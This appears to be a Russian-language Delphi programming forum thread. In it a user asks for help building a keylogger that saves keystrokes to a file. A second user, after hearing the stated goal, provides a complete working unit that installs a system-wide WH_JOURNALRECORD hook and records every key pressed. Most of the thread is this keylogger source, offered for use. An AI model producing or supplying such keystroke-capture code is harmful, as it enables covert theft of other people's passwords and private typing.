Keylogger, проблемы

[andreibtzt]

Привет всем, у меня такая проблема, я зделал этот код, и он у меня сахраняет в фаиле, типа не Esc, a EscEscEscEsc, и на все клавиши так зделает, код вот такои, в чиом проблема???
извините за транслит.

if getasynckeystate($1b)<>0 then
AppendOrWriteTextToFile('c:\file.tx t', 'Esc');

он работает на Timer, с интервалом 1sec

function Tform1.AppendOrWriteTextToFile(FileName : TFilename; WriteText : string): boolean;


 var
   f : Textfile;
 begin
   Result := False;
   AssignFile(f, FileName);
   try
     if FileExists(FileName) = False then
       Rewrite(f)
     else
     begin
       Append(f);
     end;
     Write(f, WriteText);
     Result := True;
   finally
     CloseFile(f);

   end;
 end;

[Stilet]

У меня такое работает норм

procedure TForm1.Timer1Timer(Sender: TObject);
begin
if getasynckeystate($1b)<>0 then caption:=caption+'Esc ';
end;

[andreibtzt]

Stilet, а ты пробувал зделати штоб он сахранял в фаил?

[Stilet]

Да. Нормательно работает.

Тут дело в том что эта функа выдает 0 если не нажать -1- если нажато но еще не отпущено и 1 - если было нажато и отпущено

Так что условие поставь

if getasynckeystate($1b)=1

[andreibtzt]

не работает так, if getasynckeystate($1b)=1

[Stilet]

Все работает просто таймер не успевает.
Ты не хочеш сказать зачем тебе это?

[andreibtzt]

Stilet, хачу зделать Keylogger,

патамушто я хачу зделать, без hook, я не понимаю ево,но если помогаеши буду благадарен, но зделати так штоб не било, не один .dll,

[Stilet]

Таймер для этого подходит так же как пятый рукав к зайцу )
Хуки реализуй.

Вот пример:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
function Proc(
    code:integer;
    wParam:WPARAM;
    lParam:LPARAM
   ):lresult;stdcall;
   
var
  h:hhook;
  Form1: TForm1;

implementation
 function Proc(

    code:integer;
    wParam:WPARAM;
    lParam:LPARAM
   ):lresult;stdcall;
var c:array[0..255] of char;
 s:string;
    nScan:integer;
begin
 if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
  nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
  nscan:=nscan shl 16;
  GetKeyNameText(nScan,c,256);
//  form1.memo1..Add(c);
s:=c;
Form1.Caption:=s;
if length(s)=1 then
 Form1.Memo1.Lines.Text:=Form1.Memo1.Lines.Text+c
else begin
  Form1.Memo1.Lines.Append('');
  Form1.Memo1.Lines.Append('---');
  Form1.Memo1.Lines.Append(c);
  Form1.Memo1.Lines.Append('---');
 end;{}
 end;
 result:=callnexthookex(h,code,wparam,lparam);
end;

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
 h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
 caption:=inttostr(h);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 unhookwindowshookex(h);
end;

end.

Что не ясно спрашивай.

[andreibtzt]

спасибо тебе!

[Дмитрий2010]

Есть проблема с кейлоггером кто может помочь skype: malisss2